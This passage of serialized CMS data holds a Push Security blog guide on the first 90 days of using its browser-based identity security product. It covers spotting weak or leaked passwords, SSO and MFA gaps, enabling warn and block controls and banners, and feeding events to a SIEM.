takeover",{"data":156228,"content":156229,"nodeType":866},{},[156230,156234,156238,156242,156246],{"data":156231,"marks":156232,"value":156233,"nodeType":865},{},[],"On the ",{"data":156235,"marks":156236,"value":155966,"nodeType":865},{},[156237],{"type":926},{"data":156239,"marks":156240,"value":156241,"nodeType":865},{},[],", you can identify which identities are most at risk because they use a leaked, reused, or weak password and lack MFA by referencing the ",{"data":156243,"marks":156244,"value":155957,"nodeType":865},{},[156245],{"type":926},{"data":156247,"marks":156248,"value":156249,"nodeType":865},{},[]," section.",{"data":156251,"content":156252,"nodeType":866},{},[156253,156258,156262,156267],{"data":156254,"marks":156255,"value":156257,"nodeType":865},{},[156256],{"type":926},"Tip: ",{"data":156259,"marks":156260,"value":156261,"nodeType":865},{},[],"Toggle the view to ",{"data":156263,"marks":156264,"value":156266,"nodeType":865},{},[156265],{"type":926},"All identities",{"data":156268,"marks":156269,"value":156270,"nodeType":865},{},[]," if you are not yet using the sensitivity labels for apps to get a full picture of your data.",{"data":156272,"content":156276,"nodeType":912},{"target":156273},{"sys":156274},{"id":156275,"type":909,"linkType":910},"4xPy4cr18jk7JV7TWqnmoy",[],{"data":156278,"content":156279,"nodeType":866},{},[156280],{"data":156281,"marks":156282,"value":156283,"nodeType":865},{},[],"Select each slice of the chart to go to a filtered list of the accounts with those security issues. You can then evaluate which accounts pose the biggest risk, whether they belong to high-sensitivity apps or high-value roles, such as admins or executives, or whether there are any data patterns, such as a cluster of account issues that belong to specific teams, that will help you decide on a remediation strategy.",{"data":156285,"content":156286,"nodeType":866},{},[156287],{"data":156288,"marks":156289,"value":156290,"nodeType":865},{},[],"As mentioned earlier, we recommend taking immediate action for any accounts with verified stolen credentials, especially those that also lack MFA protection.",{"data":156292,"content":156293,"nodeType":1317},{},[156294],{"data":156295,"marks":156296,"value":156297,"nodeType":865},{},[],"Check your SSO coverage",{"data":156299,"content":156300,"nodeType":866},{},[156301,156305,156310],{"data":156302,"marks":156303,"value":156304,"nodeType":865},{},[],"On the Dashboard, you can also start to see your ",{"data":156306,"marks":156307,"value":156309,"nodeType":865},{},[156308],{"type":926},"SSO trends",{"data":156311,"marks":156312,"value":156313,"nodeType":865},{},[],". Use this section of the dashboard to see a breakdown of login methods for your accounts (SAML, OIDC, or non-SSO).",{"data":156315,"content":156319,"nodeType":912},{"target":156316},{"sys":156317},{"id":156318,"type":909,"linkType":910},"6GbX5cV4wOerwFeqKKAolC",[],{"data":156321,"content":156322,"nodeType":866},{},[156323,156327,156331,156335,156340,156344,156353],{"data":156324,"marks":156325,"value":156326,"nodeType":865},{},[],"You can look at more granular information on the ",{"data":156328,"marks":156329,"value":155362,"nodeType":865},{},[156330],{"type":926},{"data":156332,"marks":156333,"value":156334,"nodeType":865},{},[]," page by filtering by ",{"data":156336,"marks":156337,"value":156339,"nodeType":865},{},[156338],{"type":926},"Login method",{"data":156341,"marks":156342,"value":156343,"nodeType":865},{},[],". For example, you may wish to view accounts that have used both password and SAML login methods to identify local accounts on high-value apps that should be using SSO only — otherwise known as ",{"data":156345,"content":156349,"nodeType":33606},{"target":156346},{"sys":156347},{"id":156348,"type":909,"linkType":910},"174u87EYeKMKHzYYxBLlHO",[156350],{"data":156351,"marks":156352,"value":6715,"nodeType":865},{},[],{"data":156354,"marks":156355,"value":1615,"nodeType":865},{},[],{"data":156357,"content":156361,"nodeType":912},{"target":156358},{"sys":156359},{"id":156360,"type":909,"linkType":910},"68Sfs2MmpkdISb4rnoTCzW",[],{"data":156363,"content":156364,"nodeType":1317},{},[156365],{"data":156366,"marks":156367,"value":156368,"nodeType":865},{},[],"Review patterns in employee activity",{"data":156370,"content":156371,"nodeType":866},{},[156372,156375,156379,156382,156387,156390,156394],{"data":156373,"marks":156374,"value":58358,"nodeType":865},{},[],{"data":156376,"marks":156377,"value":155333,"nodeType":865},{},[156378],{"type":926},{"data":156380,"marks":156381,"value":2717,"nodeType":865},{},[],{"data":156383,"marks":156384,"value":156386,"nodeType":865},{},[156385],{"type":926},"Employees",{"data":156388,"marks":156389,"value":3476,"nodeType":865},{},[],{"data":156391,"marks":156392,"value":155362,"nodeType":865},{},[156393],{"type":926},{"data":156395,"marks":156396,"value":156397,"nodeType":865},{},[]," pages, you can then get a sense of which apps employees are accessing, using which login methods, whether they’re registered for MFA (and which MFA methods are registered on the account), whether they’re using a password manager, and where there are account security issues such as weak, reused, or shared passwords.",{"data":156399,"content":156400,"nodeType":866},{},[156401,156406],{"data":156402,"marks":156403,"value":156405,"nodeType":865},{},[156404],{"type":926},"Tip:",{"data":156407,"marks":156408,"value":156409,"nodeType":865},{},[]," Use the filters on these pages to zero in on issues of interest, such as password logins, account security findings, or weak MFA methods.",{"data":156411,"content":156412,"nodeType":1317},{},[156413],{"data":156414,"marks":156415,"value":156416,"nodeType":865},{},[],"Put your security policies into practice",{"data":156418,"content":156419,"nodeType":866},{},[156420],{"data":156421,"marks":156422,"value":156423,"nodeType":865},{},[],"Equipped with this context, now you’re ready to lay the foundation for remediation and blocking controls, putting your security policies into practice.",{"data":156425,"content":156426,"nodeType":866},{},[156427],{"data":156428,"marks":156429,"value":156430,"nodeType":865},{},[],"At this stage, we recommend that you:",{"data":156432,"content":156433,"nodeType":1616},{},[156434,156461,156471],{"data":156435,"content":156436,"nodeType":1570},{},[156437],{"data":156438,"content":156439,"nodeType":866},{},[156440,156444,156449,156452,156457],{"data":156441,"marks":156442,"value":156443,"nodeType":865},{},[],"Set the ",{"data":156445,"marks":156446,"value":156448,"nodeType":865},{},[156447],{"type":926},"Approval status",{"data":156450,"marks":156451,"value":4988,"nodeType":865},{},[],{"data":156453,"marks":156454,"value":156456,"nodeType":865},{},[156455],{"type":926},"Sensitivity level",{"data":156458,"marks":156459,"value":156460,"nodeType":865},{},[]," of your apps using the provided categories in Push.",{"data":156462,"content":156463,"nodeType":1570},{},[156464],{"data":156465,"content":156466,"nodeType":866},{},[156467],{"data":156468,"marks":156469,"value":156470,"nodeType":865},{},[],"Create employee groups (which can be done manually or via API to match your existing directory groups) and assign employees to them based on department or job function.",{"data":156472,"content":156473,"nodeType":1570},{},[156474],{"data":156475,"content":156476,"nodeType":866},{},[156477],{"data":156478,"marks":156479,"value":156480,"nodeType":865},{},[],"Create custom labels for apps as needed.",{"data":156482,"content":156483,"nodeType":866},{},[156484],{"data":156485,"marks":156486,"value":156487,"nodeType":865},{},[],"By adding this metadata, you’ll be able to use these classifications when configuring rules for how to apply your desired security controls.",{"data":156489,"content":156493,"nodeType":912},{"target":156490},{"sys":156491},{"id":156492,"type":909,"linkType":910},"pCIPMrpBAWlmqFoKxTL8P",[],{"data":156495,"content":156496,"nodeType":866},{},[156497],{"data":156498,"marks":156499,"value":156500,"nodeType":865},{},[],"Before enabling end-user remediation and blocking controls, which we cover in the next section, you may also wish to let your employees know what they should expect to see in terms of self-remediation workflows or other employee-facing guidance in their browser.",{"data":156502,"content":156503,"nodeType":972},{},[],{"data":156505,"content":156506,"nodeType":981},{},[156507],{"data":156508,"marks":156509,"value":156510,"nodeType":865},{},[],"First 90 days: Remediate issues and arrive safely",{"data":156512,"content":156513,"nodeType":866},{},[156514],{"data":156515,"marks":156516,"value":156517,"nodeType":865},{},[],"With your team prepared and your rifle well-oiled, you’re ready to pick off security issues like SSO password phishing; missing MFA; and use of unsanctioned apps.",{"data":156519,"content":156520,"nodeType":866},{},[156521],{"data":156522,"marks":156523,"value":156524,"nodeType":865},{},[],"Here’s what we recommend for your third month using Push:",{"data":156526,"content":156527,"nodeType":1317},{},[156528],{"data":156529,"marks":156530,"value":156531,"nodeType":865},{},[],"Move security controls out of Monitor mode to Warn or Block",{"data":156533,"content":156534,"nodeType":866},{},[156535,156539,156543,156547,156551,156554,156558,156562,156566,156570,156574,156577,156581],{"data":156536,"marks":156537,"value":156538,"nodeType":865},{},[],"Once you’ve informed your employees and curated your ignore list, you’re ready to move security controls such as ",{"data":156540,"marks":156541,"value":131656,"nodeType":865},{},[156542],{"type":926},{"data":156544,"marks":156545,"value":156546,"nodeType":865},{},[]," into ",{"data":156548,"marks":156549,"value":58533,"nodeType":865},{},[156550],{"type":926},{"data":156552,"marks":156553,"value":53880,"nodeType":865},{},[],{"data":156555,"marks":156556,"value":58541,"nodeType":865},{},[156557],{"type":926},{"data":156559,"marks":156560,"value":156561,"nodeType":865},{},[]," mode. (If you have not already set the ",{"data":156563,"marks":156564,"value":79859,"nodeType":865},{},[156565],{"type":926},{"data":156567,"marks":156568,"value":156569,"nodeType":865},{},[]," control to ",{"data":156571,"marks":156572,"value":58533,"nodeType":865},{},[156573],{"type":926},{"data":156575,"marks":156576,"value":53880,"nodeType":865},{},[],{"data":156578,"marks":156579,"value":58541,"nodeType":865},{},[156580],{"type":926},{"data":156582,"marks":156583,"value":156584,"nodeType":865},{},[],", now is also a good time to do that.)",{"data":156586,"content":156587,"nodeType":866},{},[156588,156591,156595],{"data":156589,"marks":156590,"value":58577,"nodeType":865},{},[],{"data":156592,"marks":156593,"value":136538,"nodeType":865},{},[156594],{"type":926},{"data":156596,"marks":156597,"value":156598,"nodeType":865},{},[]," page of the admin console:",{"data":156600,"content":156601,"nodeType":1616},{},[156602,156620,156630,156640],{"data":156603,"content":156604,"nodeType":1570},{},[156605],{"data":156606,"content":156607,"nodeType":866},{},[156608,156612,156617],{"data":156609,"marks":156610,"value":156611,"nodeType":865},{},[],"Open the tile for the given control and update the ",{"data":156613,"marks":156614,"value":156616,"nodeType":865},{},[156615],{"type":926},"Mode",{"data":156618,"marks":156619,"value":1615,"nodeType":865},{},[],{"data":156621,"content":156622,"nodeType":1570},{},[156623],{"data":156624,"content":156625,"nodeType":866},{},[156626],{"data":156627,"marks":156628,"value":156629,"nodeType":865},{},[],"Create a custom message that employees will see when the control is triggered.",{"data":156631,"content":156632,"nodeType":1570},{},[156633],{"data":156634,"content":156635,"nodeType":866},{},[156636],{"data":156637,"marks":156638,"value":156639,"nodeType":865},{},[],"Save the configuration.",{"data":156641,"content":156642,"nodeType":1570},{},[156643],{"data":156644,"content":156645,"nodeType":866},{},[156646],{"data":156647,"marks":156648,"value":156649,"nodeType":865},{},[],"If possible, we also recommend consuming the webhook events generated when these controls are triggered in your SIEM or other alerting platform so you have good visibility.",{"data":156651,"content":156652,"nodeType":866},{},[156653,156657,156661,156664,156668,156672,156677],{"data":156654,"marks":156655,"value":156656,"nodeType":865},{},[],"If you’ve found any malicious sites using the ",{"data":156658,"marks":156659,"value":79859,"nodeType":865},{},[156660],{"type":926},{"data":156662,"marks":156663,"value":53880,"nodeType":865},{},[],{"data":156665,"marks":156666,"value":79867,"nodeType":865},{},[156667],{"type":926},{"data":156669,"marks":156670,"value":156671,"nodeType":865},{},[]," control, you may also wish to update your blocklist using the ",{"data":156673,"marks":156674,"value":156676,"nodeType":865},{},[156675],{"type":926},"URL blocking",{"data":156678,"marks":156679,"value":156680,"nodeType":865},{},[]," control. ",{"data":156682,"content":156683,"nodeType":1317},{},[156684],{"data":156685,"marks":156686,"value":156687,"nodeType":865},{},[],"Implement banners to guide secure employee behavior",{"data":156689,"content":156690,"nodeType":866},{},[156691,156695,156699,156703,156708,156711,156716,156719,156724,156727,156731,156735,156739,156743,156748],{"data":156692,"marks":156693,"value":156694,"nodeType":865},{},[],"Depending on your security goals, you may want to implement in-browser guidance for employees in the form of ",{"data":156696,"marks":156697,"value":58424,"nodeType":865},{},[156698],{"type":926},{"data":156700,"marks":156701,"value":156702,"nodeType":865},{},[],". You can configure a banner in ",{"data":156704,"marks":156705,"value":156707,"nodeType":865},{},[156706],{"type":926},"Inform",{"data":156709,"marks":156710,"value":2717,"nodeType":865},{},[],{"data":156712,"marks":156713,"value":156715,"nodeType":865},{},[156714],{"type":926},"Acknowledge",{"data":156717,"marks":156718,"value":2717,"nodeType":865},{},[],{"data":156720,"marks":156721,"value":156723,"nodeType":865},{},[156722],{"type":926},"Reason",{"data":156725,"marks":156726,"value":11397,"nodeType":865},{},[],{"data":156728,"marks":156729,"value":58541,"nodeType":865},{},[156730],{"type":926},{"data":156732,"marks":156733,"value":156734,"nodeType":865},{},[]," modes from the ",{"data":156736,"marks":156737,"value":136538,"nodeType":865},{},[156738],{"type":926},{"data":156740,"marks":156741,"value":156742,"nodeType":865},{},[]," page. Use the ",{"data":156744,"marks":156745,"value":156747,"nodeType":865},{},[156746],{"type":926},"Rules",{"data":156749,"marks":156750,"value":156751,"nodeType":865},{},[]," feature to specify which employees or employee groups should see a banner, and which apps to apply it to.",{"data":156753,"content":156757,"nodeType":912},{"target":156754},{"sys":156755},{"id":156756,"type":909,"linkType":910},"2rVWMTYrjShEdrswkzobJe",[],{"data":156759,"content":156760,"nodeType":866},{},[156761],{"data":156762,"marks":156763,"value":156764,"nodeType":865},{},[],"Common use cases include:",{"data":156766,"content":156767,"nodeType":1616},{},[156768,156778,156788,156798,156808],{"data":156769,"content":156770,"nodeType":1570},{},[156771],{"data":156772,"content":156773,"nodeType":866},{},[156774],{"data":156775,"marks":156776,"value":156777,"nodeType":865},{},[],"Blocking an app while you investigate a potential data breach.",{"data":156779,"content":156780,"nodeType":1570},{},[156781],{"data":156782,"content":156783,"nodeType":866},{},[156784],{"data":156785,"marks":156786,"value":156787,"nodeType":865},{},[],"Blocking unapproved apps, such as a file-sharing service that’s not approved for storing sensitive information.",{"data":156789,"content":156790,"nodeType":1570},{},[156791],{"data":156792,"content":156793,"nodeType":866},{},[156794],{"data":156795,"marks":156796,"value":156797,"nodeType":865},{},[],"Requiring employees to acknowledge your GenAI policy before using GenAI apps.",{"data":156799,"content":156800,"nodeType":1570},{},[156801],{"data":156802,"content":156803,"nodeType":866},{},[156804],{"data":156805,"marks":156806,"value":156807,"nodeType":865},{},[],"Reminding employees to use SSO for SAML-enabled apps rather than a local account password.",{"data":156809,"content":156810,"nodeType":1570},{},[156811],{"data":156812,"content":156813,"nodeType":866},{},[156814],{"data":156815,"marks":156816,"value":156817,"nodeType":865},{},[],"Asking employees not to use an app before it can be reviewed by the security team, for apps not yet in your inventory.",{"data":156819,"content":156820,"nodeType":866},{},[156821,156825,156829,156833],{"data":156822,"marks":156823,"value":156405,"nodeType":865},{},[156824],{"type":926},{"data":156826,"marks":156827,"value":156828,"nodeType":865},{},[]," You can monitor employee engagement with app banners on the ",{"data":156830,"marks":156831,"value":58511,"nodeType":865},{},[156832],{"type":926},{"data":156834,"marks":156835,"value":156836,"nodeType":865},{},[]," page and send webhook events for when a banner is displayed or interacted with to your SIEM or SOAR.",{"data":156838,"content":156839,"nodeType":1317},{},[156840],{"data":156841,"marks":156842,"value":156843,"nodeType":865},{},[],"Enforce MFA on high-value apps",{"data":156845,"content":156846,"nodeType":866},{},[156847,156851,156855],{"data":156848,"marks":156849,"value":156850,"nodeType":865},{},[],"If you’ve identified accounts on important apps that lack MFA, you can prompt employees to add an MFA method using ",{"data":156852,"marks":156853,"value":58363,"nodeType":865},{},[156854],{"type":926},{"data":156856,"marks":156857,"value":156858,"nodeType":865},{},[],". This control uses an in-browser message to direct employees to register for MFA on apps where they lack it. This control is enabled on a per-app basis, so you can decide where you want to prompt for MFA registration.",{"data":156860,"content":156861,"nodeType":1616},{},[156862,156887],{"data":156863,"content":156864,"nodeType":1570},{},[156865],{"data":156866,"content":156867,"nodeType":866},{},[156868,156871,156875,156879,156883],{"data":156869,"marks":156870,"value":58577,"nodeType":865},{},[],{"data":156872,"marks":156873,"value":136538,"nodeType":865},{},[156874],{"type":926},{"data":156876,"marks":156877,"value":156878,"nodeType":865},{},[]," page, select the ",{"data":156880,"marks":156881,"value":58363,"nodeType":865},{},[156882],{"type":926},{"data":156884,"marks":156885,"value":156886,"nodeType":865},{},[]," tile.",{"data":156888,"content":156889,"nodeType":1570},{},[156890],{"data":156891,"content":156892,"nodeType":866},{},[156893],{"data":156894,"marks":156895,"value":156896,"nodeType":865},{},[],"Customize the message to employees, if you like.",{"data":156898,"content":156899,"nodeType":866},{},[156900],{"data":156901,"marks":156902,"value":156903,"nodeType":865},{},[],"image",{"data":156905,"content":156906,"nodeType":1317},{},[156907],{"data":156908,"marks":156909,"value":156910,"nodeType":865},{},[],"Send events to your SIEM or SOAR",{"data":156912,"content":156913,"nodeType":866},{},[156914],{"data":156915,"marks":156916,"value":156917,"nodeType":865},{},[],"To stay informed about end-user activity, findings, and controls on the Push platform, we recommend consuming events important to your security strategy in your SIEM, SOAR, or other similar alerting or automation platform.",{"data":156919,"content":156920,"nodeType":866},{},[156921,156925,156929,156933,156940],{"data":156922,"marks":156923,"value":156924,"nodeType":865},{},[],"Use the ",{"data":156926,"marks":156927,"value":58511,"nodeType":865},{},[156928],{"type":926},{"data":156930,"marks":156931,"value":156932,"nodeType":865},{},[]," page in the admin console to get familiar with the data structure of events, as well as the volume of events, and then review our ",{"data":156934,"content":156935,"nodeType":889},{"uri":58124},[156936],{"data":156937,"marks":156938,"value":156939,"nodeType":865},{},[],"REST API and webhooks documentation",{"data":156941,"marks":156942,"value":156943,"nodeType":865},{},[]," for details on which entities, activities, control events, and audit logs you can consume.",{"data":156945,"content":156949,"nodeType":912},{"target":156946},{"sys":156947},{"id":156948,"type":909,"linkType":910},"1oG13vQ3AGP5i6TD24dnjs",[],{"data":156951,"content":156952,"nodeType":972},{},[],{"data":156954,"content":156955,"nodeType":981},{},[156956],{"data":156957,"marks":156958,"value":156959,"nodeType":865},{},[],"Next: Chart your own course",{"data":156961,"content":156962,"nodeType":866},{},[156963],{"data":156964,"marks":156965,"value":156966,"nodeType":865},{},[],"In your first 90 days and beyond, you can also begin creating custom workflows in your SIEM or SOAR platform to take Push’s browser and user activity telemetry and transform it into the triggers for solving specific problems in your environment.",{"data":156968,"content":156969,"nodeType":866},{},[156970],{"data":156971,"marks":156972,"value":156973,"nodeType":865},{},[],"Here are some ideas for what you can accomplish using Push’s REST API and webhooks:",{"data":156975,"content":156976,"nodeType":1616},{},[156977,156992,157007,157022,157037,157056,157071],{"data":156978,"content":156979,"nodeType":1570},{},[156980],{"data":156981,"content":156982,"nodeType":866},{},[156983,156988],{"data":156984,"marks":156985,"value":156987,"nodeType":865},{},[156986],{"type":926},"Harden identities and reduce account compromise",{"data":156989,"marks":156990,"value":156991,"nodeType":865},{},[],", such as alerting you when passwords are identified in public data breaches or when employees are using an unapproved app or when an SSO app is accessed via local account.",{"data":156993,"content":156994,"nodeType":1570},{},[156995],{"data":156996,"content":156997,"nodeType":866},{},[156998,157003],{"data":156999,"marks":157000,"value":157002,"nodeType":865},{},[157001],{"type":926},"Monitor for suspicious activity or high-risk changes",{"data":157004,"marks":157005,"value":157006,"nodeType":865},{},[],", such as checking for MFA method changes, or flagging when employees reuse corporate SSO passwords or visit sites running phishing malware.",{"data":157008,"content":157009,"nodeType":1570},{},[157010],{"data":157011,"content":157012,"nodeType":866},{},[157013,157018],{"data":157014,"marks":157015,"value":157017,"nodeType":865},{},[157016],{"type":926},"Investigate indicators of compromise",{"data":157019,"marks":157020,"value":157021,"nodeType":865},{},[],", such as correlating login events with platform logs, searching for recent signups to risky apps, or identifying post-compromise lateral movement opportunities.",{"data":157023,"content":157024,"nodeType":1570},{},[157025],{"data":157026,"content":157027,"nodeType":866},{},[157028,157033],{"data":157029,"marks":157030,"value":157032,"nodeType":865},{},[157031],{"type":926},"Force-reset an IdP password",{"data":157034,"marks":157035,"value":157036,"nodeType":865},{},[]," if Push finds a compromised password on an employee account.",{"data":157038,"content":157039,"nodeType":1570},{},[157040],{"data":157041,"content":157042,"nodeType":866},{},[157043,157047,157052],{"data":157044,"marks":157045,"value":157046,"nodeType":865},{},[],"Automate a workflow showing you all the",{"data":157048,"marks":157049,"value":157051,"nodeType":865},{},[157050],{"type":926}," accounts and apps used by an employee you’re offboarding",{"data":157053,"marks":157054,"value":157055,"nodeType":865},{},[],", and their account login methods.",{"data":157057,"content":157058,"nodeType":1570},{},[157059],{"data":157060,"content":157061,"nodeType":866},{},[157062,157067],{"data":157063,"marks":157064,"value":157066,"nodeType":865},{},[157065],{"type":926},"Automate a workflow to revoke licenses",{"data":157068,"marks":157069,"value":157070,"nodeType":865},{},[]," on SaaS after a period of inactivity, saving money.",{"data":157072,"content":157073,"nodeType":1570},{},[157074],{"data":157075,"content":157076,"nodeType":866},{},[157077,157082],{"data":157078,"marks":157079,"value":157081,"nodeType":865},{},[157080],{"type":926},"Build an approved apps list",{"data":157083,"marks":157084,"value":157085,"nodeType":865},{},[]," in your company wiki, synced from Push’s source of truth.",{"data":157087,"content":157088,"nodeType":866},{},[157089],{"data":157090,"marks":157091,"value":157092,"nodeType":865},{},[],"If you’ve made it this far, congratulations! You did not die of identity attacks.",{"data":157094,"content":157098,"nodeType":912},{"target":157095},{"sys":157096},{"id":157097,"type":909,"linkType":910},"4B7JIz8Iy7kp83vWLEVgOw",[],{"data":157100,"content":157101,"nodeType":866},{},[157102],{"data":157103,"marks":157104,"value":21,"nodeType":865},{},[],"River crossing: What you can accomplish in your first 90 days with Push Security","We’ve put together the following guide for intrepid security teams as they use Push to secure against modern identity attacks.","2024-12-09T00:00:00.000Z","navigating-your-first-90-days-with-push",{"items":157110},[157111],{"sys":157112,"name":297},{"id":2310},{"items":157114},[157115],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":157116},{"url":6503},"blog/push-features-2024",{"json":157119},{"data":157120,"content":157121,"nodeType":1382},{},[157122],{"data":157123,"content":157124,"nodeType":866},{},[157125],{"data":157126,"marks":157127,"value":157128,"nodeType":865},{},[],"Here’s how in-the-wild attacks and our own R&D inspired what we built over the last year to stop account takeover and reduce security risks across all your workforce identities.",{"id":131415,"publishedAt":157130},"2026-08-13T09:35:20.164Z",{"items":157132},[157133,157135],{"sys":157134,"name":342},{"id":4642},{"sys":157136,"name":297},{"id":2310},{"items":157138},[157139,157141,157143,157145,157147,157149,157151,157153,157155,157157,157159,157161,157163,157165,157167,157169,157171,157173,157175],{"sys":157140,"name":297,"slug":298,"tier":31},{"id":294},{"sys":157142,"name":342,"slug":343,"tier":31},{"id":339},{"sys":157144,"name":413,"slug":414,"tier":31},{"id":410},{"sys":157146,"name":279,"slug":280,"tier":31},{"id":276},{"sys":157148,"name":519,"slug":520,"tier":31},{"id":516},{"sys":157150,"name":545,"slug":546,"tier":31},{"id":542},{"sys":157152,"name":422,"slug":423,"tier":45},{"id":419},{"sys":157154,"name":528,"slug":529,"tier":45},{"id":525},{"sys":157156,"name":261,"slug":262,"tier":45},{"id":258},{"sys":157158,"name":511,"slug":512,"tier":45},{"id":508},{"sys":157160,"name":571,"slug":572,"tier":45},{"id":568},{"sys":157162,"name":333,"slug":334,"tier":45},{"id":330},{"sys":157164,"name":324,"slug":325,"tier":45},{"id":321},{"sys":157166,"name":466,"slug":467,"tier":45},{"id":463},{"sys":157168,"name":457,"slug":458,"tier":45},{"id":454},{"sys":157170,"name":502,"slug":503,"tier":45},{"id":499},{"sys":157172,"name":395,"slug":396,"tier":45},{"id":392},{"sys":157174,"name":589,"slug":590,"tier":45},{"id":586},{"sys":157176,"name":475,"slug":476,"tier":45},{"id":472},"4nKG_8I-DGCIJdQpuByj1hJyD35aOO5eruoj3lwwjP0",{"id":157179,"title":126565,"authorsCollection":157180,"content":157185,"extension":228,"faqItemsCollection":157746,"faqTitle":59,"featured":6,"hashTags":59,"meta":157748,"metaTitle":157749,"ogImage":157750,"postType":72060,"publishedDate":149802,"relatedBlogPostsCollection":157751,"slug":126566,"stem":160121,"subtitle":59,"summary":160122,"synopsis":149801,"sys":160132,"tagsCollection":160134,"topicsCollection":160138,"__hash__":160170},"blog/blog/2024-identity-breaches.json",{"items":157181},[157182],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":157183,"profilePicture":157184},[30152],{"url":7804},{"json":157186,"links":157725},{"data":157187,"content":157188,"nodeType":1382},{},[157189,157195,157201,157207,157223,157229,157235,157238,157245,157251,157257,157263,157268,157274,157277,157284,157290,157296,157302,157308,157313,157319,157322,157329,157336,157342,157348,157354,157370,157377,157383,157389,157395,157401,157408,157414,157420,157425,157428,157435,157441,157447,157453,157459,157465,157468,157475,157481,157487,157493,157499,157505,157603,157616,157622,157627,157630,157637,157643,157703,157709],{"data":157190,"content":157191,"nodeType":866},{},[157192],{"data":157193,"marks":157194,"value":149193,"nodeType":865},{},[],{"data":157196,"content":157197,"nodeType":866},{},[157198],{"data":157199,"marks":157200,"value":149200,"nodeType":865},{},[],{"data":157202,"content":157203,"nodeType":866},{},[157204],{"data":157205,"marks":157206,"value":149207,"nodeType":865},{},[],{"data":157208,"content":157209,"nodeType":866},{},[157210,157213,157220],{"data":157211,"marks":157212,"value":149214,"nodeType":865},{},[],{"data":157214,"content":157215,"nodeType":889},{"uri":149217},[157216],{"data":157217,"marks":157218,"value":149223,"nodeType":865},{},[157219],{"type":943},{"data":157221,"marks":157222,"value":1615,"nodeType":865},{},[],{"data":157224,"content":157225,"nodeType":866},{},[157226],{"data":157227,"marks":157228,"value":149233,"nodeType":865},{},[],{"data":157230,"content":157231,"nodeType":866},{},[157232],{"data":157233,"marks":157234,"value":149240,"nodeType":865},{},[],{"data":157236,"content":157237,"nodeType":972},{},[],{"data":157239,"content":157240,"nodeType":981},{},[157241],{"data":157242,"marks":157243,"value":149251,"nodeType":865},{},[157244],{"type":926},{"data":157246,"content":157247,"nodeType":866},{},[157248],{"data":157249,"marks":157250,"value":149258,"nodeType":865},{},[],{"data":157252,"content":157253,"nodeType":866},{},[157254],{"data":157255,"marks":157256,"value":149265,"nodeType":865},{},[],{"data":157258,"content":157259,"nodeType":866},{},[157260],{"data":157261,"marks":157262,"value":149272,"nodeType":865},{},[],{"data":157264,"content":157267,"nodeType":912},{"target":157265},{"sys":157266},{"id":149277,"type":909,"linkType":910},[],{"data":157269,"content":157270,"nodeType":866},{},[157271],{"data":157272,"marks":157273,"value":149285,"nodeType":865},{},[],{"data":157275,"content":157276,"nodeType":972},{},[],{"data":157278,"content":157279,"nodeType":981},{},[157280],{"data":157281,"marks":157282,"value":149296,"nodeType":865},{},[157283],{"type":926},{"data":157285,"content":157286,"nodeType":866},{},[157287],{"data":157288,"marks":157289,"value":149303,"nodeType":865},{},[],{"data":157291,"content":157292,"nodeType":866},{},[157293],{"data":157294,"marks":157295,"value":149310,"nodeType":865},{},[],{"data":157297,"content":157298,"nodeType":866},{},[157299],{"data":157300,"marks":157301,"value":149317,"nodeType":865},{},[],{"data":157303,"content":157304,"nodeType":866},{},[157305],{"data":157306,"marks":157307,"value":149324,"nodeType":865},{},[],{"data":157309,"content":157312,"nodeType":912},{"target":157310},{"sys":157311},{"id":149329,"type":909,"linkType":910},[],{"data":157314,"content":157315,"nodeType":866},{},[157316],{"data":157317,"marks":157318,"value":149337,"nodeType":865},{},[],{"data":157320,"content":157321,"nodeType":972},{},[],{"data":157323,"content":157324,"nodeType":981},{},[157325],{"data":157326,"marks":157327,"value":149348,"nodeType":865},{},[157328],{"type":926},{"data":157330,"content":157331,"nodeType":1317},{},[157332],{"data":157333,"marks":157334,"value":149356,"nodeType":865},{},[157335],{"type":926},{"data":157337,"content":157338,"nodeType":866},{},[157339],{"data":157340,"marks":157341,"value":149363,"nodeType":865},{},[],{"data":157343,"content":157344,"nodeType":866},{},[157345],{"data":157346,"marks":157347,"value":149370,"nodeType":865},{},[],{"data":157349,"content":157350,"nodeType":866},{},[157351],{"data":157352,"marks":157353,"value":149377,"nodeType":865},{},[],{"data":157355,"content":157356,"nodeType":866},{},[157357,157360,157367],{"data":157358,"marks":157359,"value":149384,"nodeType":865},{},[],{"data":157361,"content":157362,"nodeType":889},{"uri":139406},[157363],{"data":157364,"marks":157365,"value":149392,"nodeType":865},{},[157366],{"type":943},{"data":157368,"marks":157369,"value":149396,"nodeType":865},{},[],{"data":157371,"content":157372,"nodeType":1317},{},[157373],{"data":157374,"marks":157375,"value":149404,"nodeType":865},{},[157376],{"type":926},{"data":157378,"content":157379,"nodeType":866},{},[157380],{"data":157381,"marks":157382,"value":149411,"nodeType":865},{},[],{"data":157384,"content":157385,"nodeType":866},{},[157386],{"data":157387,"marks":157388,"value":149418,"nodeType":865},{},[],{"data":157390,"content":157391,"nodeType":866},{},[157392],{"data":157393,"marks":157394,"value":149425,"nodeType":865},{},[],{"data":157396,"content":157397,"nodeType":866},{},[157398],{"data":157399,"marks":157400,"value":149432,"nodeType":865},{},[],{"data":157402,"content":157403,"nodeType":1317},{},[157404],{"data":157405,"marks":157406,"value":149440,"nodeType":865},{},[157407],{"type":926},{"data":157409,"content":157410,"nodeType":866},{},[157411],{"data":157412,"marks":157413,"value":149447,"nodeType":865},{},[],{"data":157415,"content":157416,"nodeType":866},{},[157417],{"data":157418,"marks":157419,"value":149454,"nodeType":865},{},[],{"data":157421,"content":157424,"nodeType":912},{"target":157422},{"sys":157423},{"id":149459,"type":909,"linkType":910},[],{"data":157426,"content":157427,"nodeType":972},{},[],{"data":157429,"content":157430,"nodeType":981},{},[157431],{"data":157432,"marks":157433,"value":149471,"nodeType":865},{},[157434],{"type":926},{"data":157436,"content":157437,"nodeType":866},{},[157438],{"data":157439,"marks":157440,"value":149478,"nodeType":865},{},[],{"data":157442,"content":157443,"nodeType":866},{},[157444],{"data":157445,"marks":157446,"value":149485,"nodeType":865},{},[],{"data":157448,"content":157449,"nodeType":866},{},[157450],{"data":157451,"marks":157452,"value":149492,"nodeType":865},{},[],{"data":157454,"content":157455,"nodeType":866},{},[157456],{"data":157457,"marks":157458,"value":149499,"nodeType":865},{},[],{"data":157460,"content":157461,"nodeType":866},{},[157462],{"data":157463,"marks":157464,"value":149506,"nodeType":865},{},[],{"data":157466,"content":157467,"nodeType":972},{},[],{"data":157469,"content":157470,"nodeType":981},{},[157471],{"data":157472,"marks":157473,"value":149517,"nodeType":865},{},[157474],